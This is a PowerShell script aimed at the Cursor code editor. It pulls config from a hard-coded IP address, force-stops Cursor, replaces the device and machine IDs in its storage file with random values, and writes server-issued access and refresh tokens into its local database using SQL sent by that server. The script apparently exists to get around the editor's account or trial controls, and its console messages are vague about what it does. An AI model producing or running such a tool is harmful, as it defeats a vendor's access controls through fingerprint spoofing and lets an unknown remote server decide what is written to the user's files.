$sqlitePath = ".\sunai.exe"
if (-not (Test-Path $sqlitePath)) {
    Write-Host "[-] Required component not found" -ForegroundColor Red
    Write-Host "[-] Please check installation" -ForegroundColor Red
    exit 1
}

try {
    Write-Host "[*] Initializing..." -ForegroundColor Yellow
    $webRequest = [System.Net.WebRequest]::Create("http://150.109.118.217:5800/api/config")
    $webRequest.Timeout = 10000  # 10 seconds timeout
    $webRequest.Method = "GET"
    
    try {
        $webResponse = $webRequest.GetResponse()
        $reader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
        $responseContent = $reader.ReadToEnd()
        $response = $responseContent | ConvertFrom-Json
    }
    catch {
        Write-Host "[-] Server connection error: $($_.Exception.Message)" -ForegroundColor Red
        throw
    }
    finally {
        if ($reader) { $reader.Close() }
        if ($webResponse) { $webResponse.Close() }
    }
    
    if ($response.status -eq "success") {
        $newToken = $response.data.token
        $dbPath = $response.data.p.windows.Replace("%APPDATA%", $env:APPDATA)
        $storagePath = $response.data.s.windows.Replace("%APPDATA%", $env:APPDATA)
        $accessTokenKey = $response.data.k.a
        $refreshTokenKey = $response.data.k.b
        
        $ids = @{}
        $ids[$response.data.i.m] = -join ((1..40) | ForEach-Object { "0123456789abcdef"[(Get-Random -Maximum 16)] })
        $ids[$response.data.i.n] = -join ((1..40) | ForEach-Object { "0123456789abcdef"[(Get-Random -Maximum 16)] })
        $ids[$response.data.i.s] = "{" + [guid]::NewGuid().ToString().ToUpper() + "}"
        $ids[$response.data.i.d] = [guid]::NewGuid().ToString()
        
        Write-Host "[+] Successfully initialized" -ForegroundColor Green
    } else {
        throw "Server returned unsuccessful status"
    }
} catch {
    Write-Host "[-] Initialization failed" -ForegroundColor Red
    Write-Host "[-] Error details: $($_.Exception.Message)" -ForegroundColor Red
    exit 1
}

$cursorProcess = Get-Process "Cursor" -ErrorAction SilentlyContinue
if ($cursorProcess) {
    Write-Host "[*] Preparing environment..." -ForegroundColor Yellow
    $cursorProcess | Stop-Process -Force
    Start-Sleep -Seconds 2
}

Copy-Item $dbPath "$dbPath.backup" -Force
if (Test-Path $storagePath) {
    Copy-Item $storagePath "$storagePath.backup" -Force
    $storageContent = Get-Content $storagePath -Raw
    foreach ($key in $ids.Keys) {
        $storageContent = $storageContent -replace "`"$key`"\s*:\s*`"[^`"]*`"", "`"$key`": `"$($ids[$key])`""
    }
    $storageContent | Set-Content $storagePath -NoNewline
}

$sqlCommands = $response.data.q.t -f $newToken, $accessTokenKey, $refreshTokenKey

Write-Host "[*] Processing..." -ForegroundColor Green
$sqlCommands | & $sqlitePath $dbPath

Write-Host "`n[+] Operation completed successfully" -ForegroundColor Green
Write-Host "[+] You may restart the application now" -ForegroundColor Green 